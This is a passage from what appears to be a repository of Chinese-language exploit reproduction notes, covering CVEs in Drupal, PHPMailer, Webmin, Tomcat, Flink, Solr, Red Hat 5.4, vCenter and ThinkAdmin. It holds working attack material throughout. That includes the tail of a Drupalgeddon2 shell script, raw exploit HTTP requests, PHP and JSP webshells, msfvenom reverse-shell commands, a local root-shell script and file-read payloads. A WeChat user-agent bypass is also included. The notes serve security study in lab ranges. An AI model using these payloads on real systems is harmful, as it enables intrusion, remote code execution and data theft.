628 | end
629 | 
630 | 
631 | # Stop any CTRL + C action ;)
632 | trap("INT", "SIG_IGN")
633 | 
634 | 
635 | # Forever loop
636 | loop do
637 |   # Default value
638 |   result = "~ERROR~"
639 | 
640 |   # Get input
641 |   command = Readline.readline("#{prompt}>> ", true).to_s
642 | 
643 |   # Check input
644 |   puts warning("WARNING: Detected an known bad character (>)") if command =~ />/
645 | 
646 |   # Exit
647 |   break if command == "exit"
648 | 
649 |   # Blank link?
650 |   next if command.empty?
651 | 
652 |   # If PHP web shell
653 |   if not webshellpath.empty?
654 |     # Send request
655 |     result = http_request("#{$target}#{webshellpath}", "post", "c=#{command}", $session_cookie).body
656 |   # Direct OS commands
657 |   else
658 |     url, payload = gen_evil_url(command, $element, true)
659 |     response = http_request(url, "post", payload, $session_cookie)
660 | 
661 |     # Check result
662 |     if not response.body.empty?
663 |       result = clean_result(response.body)
664 |     end
665 |   end
666 | 
667 |   # Feedback
668 |   puts result
669 | end
670 | 


--------------------------------------------------------------------------------
/2020_09_09_Drupal远程代码执行漏洞（CVE-2018-7600）/readme.md:
--------------------------------------------------------------------------------
 1 | # 0x00 复现环境
 2 | 使用复现环境：https://github.com/vulhub/vulhub/tree/master/drupal/CVE-2018-7600
 3 | 
 4 | # 0x01 利用条件
 5 | 无
 6 | 
 7 | # 0x02 影响版本
 8 | 7.23<=7.x<=7.57  
 9 | 8.3.x<=8.3.8  
10 | 8.4.x<=8.4.5  
11 | 8.5.x<=8.5.0
12 | 
13 | # 0x03 漏洞复现
14 | 执行“ruby ./drupalggedon2.rb http://172.16.35.128:8080”  
15 | 会返回一个shell，可在返回的shell中执行命令，如下图  
16 | ![image](./0.png)
17 | 
18 | # 0x04 踩坑记录
19 | 坑1：  
20 | 环境创建完之后，使用kali下的firefox访问127.0.0.1:8080时，burp不能抓到数据包，原因未知，解决方案：使用kali下的firefox访问局域网ip“172.16.35.128:8080”  
21 | 坑2：  
22 | 登录状态下使用vulhub中的poc无效，需要登出后才可执行命令id，vulhub中的poc如下:  
23 | ```
24 | POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
25 | Host: your-ip:8080
26 | Accept-Encoding: gzip, deflate
27 | Accept: */*
28 | Accept-Language: en
29 | User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
30 | Connection: close
31 | Content-Type: application/x-www-form-urlencoded
32 | Content-Length: 103
33 | 
34 | form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id
35 | ```
36 | 坑3：  
37 | 使用vulhub中的poc执行命令“ls”，只能看到一个文件“web.config”，执行命令“ls -a /”也只能看到一个文件“var”
38 | 
39 | # 参考链接
40 | https://github.com/vulhub/vulhub/tree/master/drupal/CVE-2018-7600
41 | 


--------------------------------------------------------------------------------
/2020_09_09_Jupyter Notebook未授权访问漏洞复现/0.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesword/WebExp/1987e403734000d6346135fbd789ceb34b03ddde/2020_09_09_Jupyter Notebook未授权访问漏洞复现/0.png


--------------------------------------------------------------------------------
/2020_09_09_Jupyter Notebook未授权访问漏洞复现/1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesword/WebExp/1987e403734000d6346135fbd789ceb34b03ddde/2020_09_09_Jupyter Notebook未授权访问漏洞复现/1.png


--------------------------------------------------------------------------------
/2020_09_09_Jupyter Notebook未授权访问漏洞复现/readme.md:
--------------------------------------------------------------------------------
 1 | # 0x00 复现环境
 2 | 使用复现环境：360众测仿真实战靶场考试  
 3 | 其他复现环境：https://github.com/vulhub/vulhub/tree/master/jupyter/notebook-rce
 4 | 
 5 | # 0x01 利用条件
 6 | 无
 7 | 
 8 | # 0x02 影响版本
 9 | 全版本（只要管理员没有为web界面访问配置密码、ip限制等策略，都受影响）
10 | 
11 | # 0x03 漏洞复现
12 | 由于考试时没有截图，故下图借用别人的图
13 | 
14 | 新建一个terminal窗口，如图  
15 | ![image](./0.png)  
16 | 直接就RCE了，如图  
17 | ![image](./1.png)
18 | 
19 | # 0x04 踩坑记录
20 | 无
21 | 
22 | # 参考链接
23 | https://www.cnblogs.com/mke2fs/p/12718499.html
24 | 


--------------------------------------------------------------------------------
/2020_09_09_PHPMailer远程命令执行漏洞复现（CVE-2016-10033）/0.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesword/WebExp/1987e403734000d6346135fbd789ceb34b03ddde/2020_09_09_PHPMailer远程命令执行漏洞复现（CVE-2016-10033）/0.png


--------------------------------------------------------------------------------
/2020_09_09_PHPMailer远程命令执行漏洞复现（CVE-2016-10033）/readme.md:
--------------------------------------------------------------------------------
 1 | # 0x00 复现环境
 2 | 使用复现环境：https://www.mozhe.cn/bug/detail/124
 3 | 
 4 | # 0x01 利用条件
 5 | 无
 6 | 
 7 | # 0x02 影响版本
 8 | PHPMailer<5.2.18
 9 | 
10 | # 0x03 漏洞复现
11 | 启动墨者学院的靶场环境，看到一个网站，点击底部的“Mail Contact”，进入“http://219.153.49.228:49754/mail.php”  
12 | 在name处随便输入比如“aaa”，在email处输入：  
13 | ```
14 | "aaa". -OQueueDirectory=/tmp/. -X/var/www/html/a.php @aaa.com
15 | ```
16 | 在message处输入一句话木马：  
17 | ```
18 | <?php @eval($_POST['a']); ?>
19 | ```
20 | 蚁剑链接http://219.153.49.228:49754/a.php ，成功拿到webshell，如下图  
21 | ![image](./0.png)
22 | 
23 | # 0x04 踩坑记录
24 | 坑1：上传完一句话木马后，页面会响应3-5分钟，响应时间较长
25 | 
26 | # 参考链接
27 | https://www.jianshu.com/p/745c82d8b6e0
28 | 


--------------------------------------------------------------------------------
/2020_09_09_Webmin远程命令执行漏洞复现（CVE-2019-15107）/0.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesword/WebExp/1987e403734000d6346135fbd789ceb34b03ddde/2020_09_09_Webmin远程命令执行漏洞复现（CVE-2019-15107）/0.png


--------------------------------------------------------------------------------
/2020_09_09_Webmin远程命令执行漏洞复现（CVE-2019-15107）/1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesword/WebExp/1987e403734000d6346135fbd789ceb34b03ddde/2020_09_09_Webmin远程命令执行漏洞复现（CVE-2019-15107）/1.png


--------------------------------------------------------------------------------
/2020_09_09_Webmin远程命令执行漏洞复现（CVE-2019-15107）/readme.md:
--------------------------------------------------------------------------------
 1 | # 0x00 复现环境
 2 | 使用复现环境：https://www.mozhe.cn/bug/detail/d01lL2RSbGEwZUNTeThVZ0xDdXl0Zz09bW96aGUmozhe  
 3 | 复现版本：Webmin1.910
 4 | 
 5 | # 0x01 利用条件
 6 | 需要开启密码重置功能，如下图  
 7 | ![image](./0.png)  
 8 | 查看webmin的配置文件/etc/webmin/miniserv.conf，可以发现passwd_mode的值已经从0变为了2
 9 | 
10 | # 0x02 影响版本
11 | Webmin<=1.920
12 | 
13 | # 0x03 漏洞复现
14 | 随便发起一个请求，burp拦截，修改为如下数据包  
15 | ```
16 | POST /password_change.cgi HTTP/1.1
17 | Host: 219.153.49.228:41489
18 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0Accept: text/html, */*; q=0.01
19 | Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
20 | Accept-Encoding: gzip, deflate
21 | Referer: http://219.153.49.228:41489/passwd/index.cgi?xnavigation=1
22 | X-PJAX: true
23 | X-PJAX-Container: [data-dcontainer]
24 | X-PJAX-URL: passwd/edit_passwd.cgi?user=root
25 | X-Requested-From: passwd
26 | X-Requested-From-Tab: webmin
27 | X-Requested-With: XMLHttpRequest
28 | Content-Type: text/plain;charset=UTF-8
29 | Content-Length: 60
30 | Connection: close
31 | 
32 | user=yibudengtian&old=cat /key.txt&new1=123456&new2=123456
33 | ```
34 | 
35 | # 0x04 踩坑记录
36 | 坑1：
37 | ![image](./1.png)
38 | 
39 | # 参考链接
40 | https://xz.aliyun.com/t/6040  
41 | https://www.cnblogs.com/paperpen/p/11442532.html
42 | 


--------------------------------------------------------------------------------
/2020_09_09_Windows Print Spooler权限提升漏洞（CVE-2020-1337）/0.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesword/WebExp/1987e403734000d6346135fbd789ceb34b03ddde/2020_09_09_Windows Print Spooler权限提升漏洞（CVE-2020-1337）/0.png


--------------------------------------------------------------------------------
/2020_09_09_Windows Print Spooler权限提升漏洞（CVE-2020-1337）/cve-2020-1337-poc-master.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesword/WebExp/1987e403734000d6346135fbd789ceb34b03ddde/2020_09_09_Windows Print Spooler权限提升漏洞（CVE-2020-1337）/cve-2020-1337-poc-master.zip


--------------------------------------------------------------------------------
/2020_09_09_Windows Print Spooler权限提升漏洞（CVE-2020-1337）/readme.md:
--------------------------------------------------------------------------------
 1 | # 0x00 复现环境
 2 | 使用复现环境：win10 1909 18363.657
 3 | 
 4 | # 0x01 利用条件
 5 | 无
 6 | 
 7 | # 0x02 影响版本
 8 | win7、win8.1、win10  
 9 | 2008、2008 r2、2012、2012 r2、2016、2019  
10 | 详细参见：https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2020-1337#ID0EGB
11 | 
12 | # 0x03 漏洞复现
13 | 打开一个powershell控制台，查看执行策略“get-executionPolicy”，修改执行策略为最宽松的“set-executionPolicy unrestricted”，先执行.\poc.ps1，再执行.\WerTrigger.exe  
14 | ![image](./0.png)
15 | 
16 | # 0x04 踩坑记录
17 | 无
18 | 
19 | # 参考链接
20 | https://voidsec.com/cve-2020-1337-printdemon-is-dead-long-live-printdemon/  
21 | https://github.com/sailay1996/cve-2020-1337-poc
22 | 


--------------------------------------------------------------------------------
/2020_10_09_Apache Flink任意jar包上传漏洞复现/0.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesword/WebExp/1987e403734000d6346135fbd789ceb34b03ddde/2020_10_09_Apache Flink任意jar包上传漏洞复现/0.png


--------------------------------------------------------------------------------
/2020_10_09_Apache Flink任意jar包上传漏洞复现/1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesword/WebExp/1987e403734000d6346135fbd789ceb34b03ddde/2020_10_09_Apache Flink任意jar包上传漏洞复现/1.png


--------------------------------------------------------------------------------
/2020_10_09_Apache Flink任意jar包上传漏洞复现/2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesword/WebExp/1987e403734000d6346135fbd789ceb34b03ddde/2020_10_09_Apache Flink任意jar包上传漏洞复现/2.png


--------------------------------------------------------------------------------
/2020_10_09_Apache Flink任意jar包上传漏洞复现/3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesword/WebExp/1987e403734000d6346135fbd789ceb34b03ddde/2020_10_09_Apache Flink任意jar包上传漏洞复现/3.png


--------------------------------------------------------------------------------
/2020_10_09_Apache Flink任意jar包上传漏洞复现/4.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesword/WebExp/1987e403734000d6346135fbd789ceb34b03ddde/2020_10_09_Apache Flink任意jar包上传漏洞复现/4.png


--------------------------------------------------------------------------------
/2020_10_09_Apache Flink任意jar包上传漏洞复现/readme.md:
--------------------------------------------------------------------------------
 1 | # 0x00 复现环境
 2 | 使用复现环境：本地搭建的环境  
 3 | 复现版本：Flink 1.9.1
 4 | 
 5 | # 0x01 环境搭建
 6 | 目标环境：centos7_x64_en-us + flink-1.9.1-bin-scala_2.11.tgz + openjdk version "1.8.0_181"
 7 | 
 8 | wget https://archive.apache.org/dist/flink/flink-1.9.1/flink-1.9.1-bin-scala_2.11.tgz  
 9 | tar -xvf ./flink-1.9.1-bin-scala_2.11.tgz  
10 | cd ./flink-1.9.1/bin/  
11 | ./start-cluster.sh  
12 | 查看端口8081是否开启，如下图  
13 | ![image](./0.png)  
14 | 浏览器访问，出现下图所示，表示成功启动  
15 | ![image](./1.png)
16 | 
17 | # 0x02 利用条件
18 | 无
19 | 
20 | # 0x03 影响版本
21 | Flink <= 1.9.1
22 | 
23 | # 0x04 漏洞复现
24 | 攻击环境：kali2020 + msf5
25 | 
26 | msfvenom -p java/meterpreter/reverse_tcp lhost=172.16.35.128 lport=9999 -o text.jar  
27 | msfconsole  
28 | use exploit/multi/handler  
29 | set payload java/meterpreter/reverse_tcp  
30 | set lhost 172.16.35.128  
31 | set lport 9999  
32 | run  
33 | 浏览器访问http://172.16.35.131:8081/ 后点击下图所示  
34 | ![image](./2.png)  
35 | 再点击下图所示  
36 | ![image](./3.png)  
37 | 此时，meterpreter已经收到session，如下图  
38 | ![image](./4.png)
39 | 
40 | # 0x05 踩坑记录
41 | 无
42 | 
43 | # 0x06 参考链接
44 | 无
45 | 


--------------------------------------------------------------------------------
/2020_10_09_Apache Solr远程代码执行漏洞复现（CVE-2019-12409）/1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesword/WebExp/1987e403734000d6346135fbd789ceb34b03ddde/2020_10_09_Apache Solr远程代码执行漏洞复现（CVE-2019-12409）/1.png


--------------------------------------------------------------------------------
/2020_10_09_Apache Solr远程代码执行漏洞复现（CVE-2019-12409）/2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesword/WebExp/1987e403734000d6346135fbd789ceb34b03ddde/2020_10_09_Apache Solr远程代码执行漏洞复现（CVE-2019-12409）/2.png


--------------------------------------------------------------------------------
/2020_10_09_Apache Solr远程代码执行漏洞复现（CVE-2019-12409）/readme.md:
--------------------------------------------------------------------------------
 1 | # 0x00 复现环境
 2 | 使用复现环境：本地搭建的环境  
 3 | 复现版本：Solr 8.2.0
 4 | 
 5 | # 0x01 环境搭建
 6 | 目标环境：centos7_x64_en-us + solr-8.2.0.tgz + openjdk version "1.8.0_181"  
 7 | wget https://archive.apache.org/dist/lucene/solr/8.2.0/solr-8.2.0.tgz  
 8 | tar -xvf ./solr-8.2.0.tgz  
 9 | cd ./solr-8.2.0.tgz/bin/  
10 | ./solr start -force#默认启动端口8983  
11 | 启动后浏览器访问http://127.0.0.1:8983/ ，出现下图所示表示环境配置完成：  
12 | ![image](./1.png)
13 | 
14 | # 0x02 利用条件
15 | 无
16 | 
17 | # 0x03 影响版本
18 | Solr 8.1.1  
19 | Solr 8.2.0
20 | 
21 | # 0x04 漏洞复现
22 | 攻击环境：kali2020 + msf5  
23 | msfconsole  
24 | use exploit/multi/misc/java_jmx_server  
25 | set rhosts 172.16.35.138  
26 | set rport 18983  
27 | run  
28 | ![image](./2.png)
29 | 
30 | # 0x05 踩坑记录
31 | 坑1：  
32 | 在kali下搭建的漏洞环境run多次后一直失败，经查看发现kali下的java版本是openjdk version "11.0.6" 2020-01-14，怀疑可能是java版本过高导致的利用失败，故在ubuntu16.04_x64_en-us下使用java8重新搭建solr-8.2.0.zip，漏洞利用成功。看过别人在java10下也有利用成功的文章，怀疑可能exp针对java10及以下的版本才有效。  
33 | 坑2：  
34 | centos7下默认开启防火墙，需要临时关闭防火墙：“systemctl stop firewalld”
35 | 
36 | # 0x06 参考链接
37 | https://github.com/jas502n/CVE-2019-12409
38 | 


--------------------------------------------------------------------------------
/2020_10_12_RedHat 5.4权限提升漏洞复现（CVE-2010-3847）/b1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesword/WebExp/1987e403734000d6346135fbd789ceb34b03ddde/2020_10_12_RedHat 5.4权限提升漏洞复现（CVE-2010-3847）/b1.png


--------------------------------------------------------------------------------
/2020_10_12_RedHat 5.4权限提升漏洞复现（CVE-2010-3847）/cve-2010-3847.sh:
--------------------------------------------------------------------------------
 1 | #!/bin/sh
 2 | echo wait
 3 | cat > a.c << _EOF
 4 | void __attribute__((constructor)) init()
 5 | {
 6 |    setuid(0);
 7 |    system("/bin/bash");
 8 | }
 9 | _EOF
10 | mkdir /tmp/lenis
11 | ln /bin/ping /tmp/lenis/target
12 | exec 3< /tmp/lenis/target
13 | rm -rf /tmp/lenis/
14 | gcc -w -fPIC -shared -o /tmp/lenis a.c
15 | rm -r a.c
16 | LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3


--------------------------------------------------------------------------------
/2020_10_12_RedHat 5.4权限提升漏洞复现（CVE-2010-3847）/readme.md:
--------------------------------------------------------------------------------
 1 | # 0x00 复现环境
 2 | 使用复现环境：实战中的环境  
 3 | 复现版本：Red Hat 5.4（linux 2.6.18-164.el5）
 4 | 
 5 | # 0x01 环境搭建
 6 | 无
 7 | 
 8 | # 0x02 利用条件
 9 | 无
10 | 
11 | # 0x03 影响版本
12 | Red Hat Enterprise Linux Server release 5.4 (Tikanga)
13 | 
14 | # 0x04 漏洞复现
15 | cat /etc/redhat-release  
16 | Red Hat Enterprise Linux Server release 5.4 (Tikanga)  
17 | uname -a  
18 | Linux dongda97.dong-da.com 2.6.18-164.el5 #1 SMP Tue Aug 18 15:51:48 EDT 2009 x86_64 x86_64 x86_64 GNU/Linux
19 | 
20 | 直接执行脚本：  
21 | bash ./cve-2010-3847.sh  
22 | 执行后会反弹root权限的shell，如下图：  
23 | ![image](./b1.png)
24 | 
25 | # 0x05 踩坑记录
26 | 无
27 | 
28 | # 0x06 参考链接
29 | 无
30 | 


--------------------------------------------------------------------------------
/2020_10_13_Tomcat任意文件写入漏洞复现（CVE-2017-12615）/f0.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesword/WebExp/1987e403734000d6346135fbd789ceb34b03ddde/2020_10_13_Tomcat任意文件写入漏洞复现（CVE-2017-12615）/f0.png


--------------------------------------------------------------------------------
/2020_10_13_Tomcat任意文件写入漏洞复现（CVE-2017-12615）/f1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesword/WebExp/1987e403734000d6346135fbd789ceb34b03ddde/2020_10_13_Tomcat任意文件写入漏洞复现（CVE-2017-12615）/f1.png


--------------------------------------------------------------------------------
/2020_10_13_Tomcat任意文件写入漏洞复现（CVE-2017-12615）/readme.md:
--------------------------------------------------------------------------------
 1 | # 0x00 复现环境
 2 | 使用复现环境：https://www.mozhe.cn/bug/detail/120  
 3 | 复现版本：Tomcat 7.0.79
 4 | 
 5 | # 0x01 环境搭建
 6 | 无
 7 | 
 8 | # 0x02 利用条件
 9 | 安装在Windows下
10 | 
11 | # 0x03 影响版本
12 | 7.0.0 <= Tomcat <= 7.0.79
13 | 
14 | # 0x04 漏洞复现
15 | 攻击环境：kali2020
16 | 
17 | 访问目标地址，burp抓包，改包如下：  
18 | ```
19 | PUT /cmd.jsp// HTTP/1.1
20 | Host: 219.153.49.228:45174
21 | User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
22 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
23 | Accept-Language: en-US,en;q=0.5
24 | Accept-Encoding: gzip, deflate
25 | Connection: close
26 | Upgrade-Insecure-Requests: 1
27 | Pragma: no-cache
28 | Cache-Control: no-cache
29 | Content-Length: 313
30 | 
31 | <%
32 |     java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
33 |         int a = -1;
34 |         byte[] b = new byte[2048];
35 |         out.print("<pre>");
36 |         while((a=in.read(b))!=-1){
37 |             out.println(new String(b));
38 |         }
39 |         out.print("</pre>");
40 | %>
41 | ```
42 | Send后，返回如下，返回“HTTP/1.1 201 Created”表示文件创建成功  
43 | ![image](./f0.png)  
44 | 访问如下URL：http://219.153.49.228:45174/cmd.jsp?cmd=cat%20/key.txt 后，返回执行命令后的结果  
45 | ![image](./f1.png)
46 | 
47 | # 0x05 踩坑记录
48 | 无
49 | 
50 | # 0x06 参考链接
51 | 无
52 | 


--------------------------------------------------------------------------------
/2020_10_15_（未复现）VMware vCenter未验证的任意文件读取漏洞/readme.md:
--------------------------------------------------------------------------------
 1 | POC:  
 2 | /eam/vib?id=C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\vcdb.properties
 3 | 
 4 | 已知影响版本：VMware vCenter 6.5.0a-f  
 5 | 安全版本：VMware vCenter 6.5.0u1
 6 | 
 7 | 有人提到：vCenter 5.5+Windows Server 2012下复现失败
 8 | 
 9 | 参考链接：  
10 | https://twitter.com/ptswarm/status/1316016337550938122
11 | 


--------------------------------------------------------------------------------
/2020_10_19_ThinkAdmin列目录和任意文件读取漏洞复现（CVE-2020-25540）/0.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesword/WebExp/1987e403734000d6346135fbd789ceb34b03ddde/2020_10_19_ThinkAdmin列目录和任意文件读取漏洞复现（CVE-2020-25540）/0.png


--------------------------------------------------------------------------------
/2020_10_19_ThinkAdmin列目录和任意文件读取漏洞复现（CVE-2020-25540）/1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesword/WebExp/1987e403734000d6346135fbd789ceb34b03ddde/2020_10_19_ThinkAdmin列目录和任意文件读取漏洞复现（CVE-2020-25540）/1.png


--------------------------------------------------------------------------------
/2020_10_19_ThinkAdmin列目录和任意文件读取漏洞复现（CVE-2020-25540）/2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesword/WebExp/1987e403734000d6346135fbd789ceb34b03ddde/2020_10_19_ThinkAdmin列目录和任意文件读取漏洞复现（CVE-2020-25540）/2.png


--------------------------------------------------------------------------------
/2020_10_19_ThinkAdmin列目录和任意文件读取漏洞复现（CVE-2020-25540）/readme.md:
--------------------------------------------------------------------------------
 1 | # 0x00 软件介绍
 2 | 基于ThinkPHP，专注于微信领域后台管理的一款开发框架
 3 | 
 4 | # 0x01 复现环境
 5 | 使用环境：本地搭建的环境  
 6 | 复现版本：2020.08.03.1之前的某一个v6版本：https://github.com/179776823/ThinkAdmin
 7 | 
 8 | # 0x02 环境搭建
 9 | 目标环境：2008_r2_standard_zh-chs + phpstudy + https://github.com/179776823/ThinkAdmin
10 | 
11 | composer config -g repo.packagist composer https://mirrors.aliyun.com/composer #使用阿里云的源更快一些  
12 | https://github.com/179776823/ThinkAdmin #下载有漏洞的v6版本到phpstudy的对应目录下  
13 | cd ThinkAdmin  
14 | composer install  
15 | create database admin_v6;  
16 | create user 'admin_v6'@'localhost' identified by 'FbYBHcWKr2';#用户名密码来自config\database.php  
17 | grant all on admin_v6.* to 'admin_v6'@'localhost';  
18 | use admin_v6;  
19 | source C:\phpstudy_pro\WWW\ThinkAdmin-6\admin_v6.sql;#将数据导入数据库  
20 | 访问：http://127.0.0.1:81/ThinkAdmin-6/public/index.php  
21 | 参考链接：  
22 | https://mp.weixin.qq.com/s/MjU6u_eTsdH-nwQAgbxLRw  
23 | https://thinkadmin.top/install  
24 | https://www.cnblogs.com/Dot-Boy/archive/2008/08/04/1260185.html  
25 | https://www.jianshu.com/p/d7b9c468f20d  
26 | https://github.com/xuxuedong/personal-note/tree/master/2020_10_18_%E7%BD%91%E7%AB%99%E6%90%AD%E5%BB%BA%E4%BB%8E%E5%A4%B4%E8%AE%B0%E5%BD%95
27 | 
28 | # 0x03 利用条件
29 | 无
30 | 
31 | # 0x04 影响版本
32 | 漏洞发现者原话：2020.08.03.01，≤这个版本的都有可能存在漏洞  
33 | 参考链接：  
34 | https://github.com/zoujingli/ThinkAdmin/issues/244
35 | 
36 | # 0x05 漏洞复现
37 | 攻击环境：Kali-Linux-2020.2-vmware-amd64 + Burp_Suite_Pro_v2020.5.1
38 | 
39 | 列目录漏洞复现：  
40 | 访问：http://192.168.149.133:81/ThinkAdmin-6/public/index.php/admin/login.html  
41 | burp抓包，将数据包修改如下：  
42 | ```
43 | POST /ThinkAdmin-6/public/index.php/admin/login.html?s=admin/api.Update/node HTTP/1.1
44 | Host: 127.0.0.1
45 | Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
46 | Connection: close
47 | Content-Type: application/x-www-form-urlencoded
48 | Content-Length: 22
49 | 
50 | rules=%5B%22.%2F%22%5D
51 | ```
52 | 成功列出了目录，如下图  
53 | ![image](./0.png)
54 | 
55 | 任意文件读取漏洞复现：  
56 | 在网站根目录（C:\phpstudy_pro\WWW\ThinkAdmin-6\）下创建一个文件，名为1.txt，内容为：lalala  
57 | 在攻击机的浏览器中访问：http://192.168.149.133:81/ThinkAdmin-6/public/index.php?s=admin/api.Update/get/encode/1d1a383c38  
58 | 其中“1d1a383c38”是“1.txt”经下列函数编码后得到的  
59 | ```
60 | <?php
61 | function encode($content)
62 | {
63 |     list($chars, $length) = ['', strlen($string = iconv('UTF-8', 'GBK//TRANSLIT', $content))];
64 |     for ($i = 0; $i < $length; $i++) $chars .= str_pad(base_convert(ord($string[$i]), 10, 36), 2, 0, 0);
65 |     return $chars;
66 | }
67 | 
68 | print( encode("1.txt") );
69 | ```
70 | 访问后，得到“bGFsYWxh”，经base64解码为“lalala”，如下图  
71 | ![image](./1.png)
72 | 
73 | ![image](./2.png)
74 | # 0x06 踩坑记录
75 | 无
76 | 
77 | # 0x07 参考链接
78 | https://mp.weixin.qq.com/s/MjU6u_eTsdH-nwQAgbxLRw
79 | 


--------------------------------------------------------------------------------
/2020_10_26_如何绕过“请在微信客户端打开链接”的限制/0.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesword/WebExp/1987e403734000d6346135fbd789ceb34b03ddde/2020_10_26_如何绕过“请在微信客户端打开链接”的限制/0.png


--------------------------------------------------------------------------------
/2020_10_26_如何绕过“请在微信客户端打开链接”的限制/1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesword/WebExp/1987e403734000d6346135fbd789ceb34b03ddde/2020_10_26_如何绕过“请在微信客户端打开链接”的限制/1.png


--------------------------------------------------------------------------------
/2020_10_26_如何绕过“请在微信客户端打开链接”的限制/2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesword/WebExp/1987e403734000d6346135fbd789ceb34b03ddde/2020_10_26_如何绕过“请在微信客户端打开链接”的限制/2.png


--------------------------------------------------------------------------------
/2020_10_26_如何绕过“请在微信客户端打开链接”的限制/3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesword/WebExp/1987e403734000d6346135fbd789ceb34b03ddde/2020_10_26_如何绕过“请在微信客户端打开链接”的限制/3.png


--------------------------------------------------------------------------------
/2020_10_26_如何绕过“请在微信客户端打开链接”的限制/4.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesword/WebExp/1987e403734000d6346135fbd789ceb34b03ddde/2020_10_26_如何绕过“请在微信客户端打开链接”的限制/4.png


--------------------------------------------------------------------------------
/2020_10_26_如何绕过“请在微信客户端打开链接”的限制/readme.md:
--------------------------------------------------------------------------------
 1 | # 0x00 限制原理
 2 | 通过burp抓包后返回的页面源码得知  
 3 | ![image](./0.png)  
 4 | 微信服务端通过检查User-Agent中是否包含“micromessenger”来判断请求是否来自微信客户端，以此决定是跳转到目标网站还是提示“请在微信客户端打开链接”，因此我们可以通过获取微信客户端的User-Agent，然后修改浏览器的User-Agent来绕过限制，目前市面上有很多现成的在线工具可用来获取User-Agent，比如http://www.atool9.com/useragent.php
 5 | 
 6 | # 0x01 获取User-Agent
 7 | 但当我通过微信客户端访问上述网址时，却提示出错  
 8 | ![image](./1.png)  
 9 | 怀疑是微信团队对此网站做了限制，不让获取User-Agent，绕过方式是自己写获取User-Agent的页面，代码如下  
10 | ```
11 | <html>
12 |     <body>
13 |         <p id="demo"></p>
14 |         <script>
15 |             var ua = navigator.userAgent;
16 |             document.getElementById("demo").innerHTML = ua;
17 |         </script>
18 |     </body>
19 | </html>
20 | ```
21 | 手机和电脑处于同一局域网，微信客户端访问上述网页地址，成功获取到User-Agent，如下图  
22 | ![image](./2.png)  
23 | User-Agent如下  
24 | ```
25 | Mozilla/5.0 (iPhone; CPU iPhone OS 13_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/7.0.12(0x17000c27) NetType/WIFI Language/zh_CN
26 | ```
27 | 可留做以后使用
28 | 
29 | # 0x02 为chrome浏览器配置User-Agent
30 | chrome下按F12（或ctrl+shift+i）打开开发者工具，按customize and control devtools即下图中红色圈出来的部分（或ctrl+shift+p）打开命令搜索框  
31 | ![image](./3.png)  
32 | 输入network conditions，并选择，如下图  
33 | ![image](./4.png)  
34 | 取消勾选automatically，并在User Agent处填入“micromessenger”，不要关闭开发者工具，否则所做的更改会失效，再次访问被微信限制的页面，能够成功访问页面
35 | 
36 | # 0x03 注意
37 | 如果你要打开的网址是以 https://open.weixin.qq.com/ 开头的，那么它使用的是微信开放平台，需要使用你的微信帐户信息。这种方式不适用。
38 | 


--------------------------------------------------------------------------------
/2020_11_10_Tomcat WebSocket 拒绝服务漏洞复现（CVE-2020-13935）/WebSocketClient.js:
--------------------------------------------------------------------------------
 1 | class WebSocketClient {
 2 |     
 3 |     constructor(protocol, hostname, port, endpoint) {
 4 |         
 5 |         this.webSocket = null;
 6 |         
 7 |         this.protocol = protocol;
 8 |         this.hostname = hostname;
 9 |         this.port     = port;
10 |         this.endpoint = endpoint;
11 |     }
12 |     
13 |     getServerUrl() {
14 |         return this.protocol + "://" + this.hostname + ":" + this.port + this.endpoint;
15 |     }
16 |     
17 |     connect() {
18 |         try {
19 |             this.webSocket = new WebSocket(this.getServerUrl());
20 |             
21 |             // 
22 |             // Implement WebSocket event handlers!
23 |             //
24 |             this.webSocket.onopen = function(event) {
25 |                 console.log('onopen::' + JSON.stringify(event, null, 4));
26 |             }
27 |             
28 |             this.webSocket.onmessage = function(event) {
29 |                 var msg = event.data;
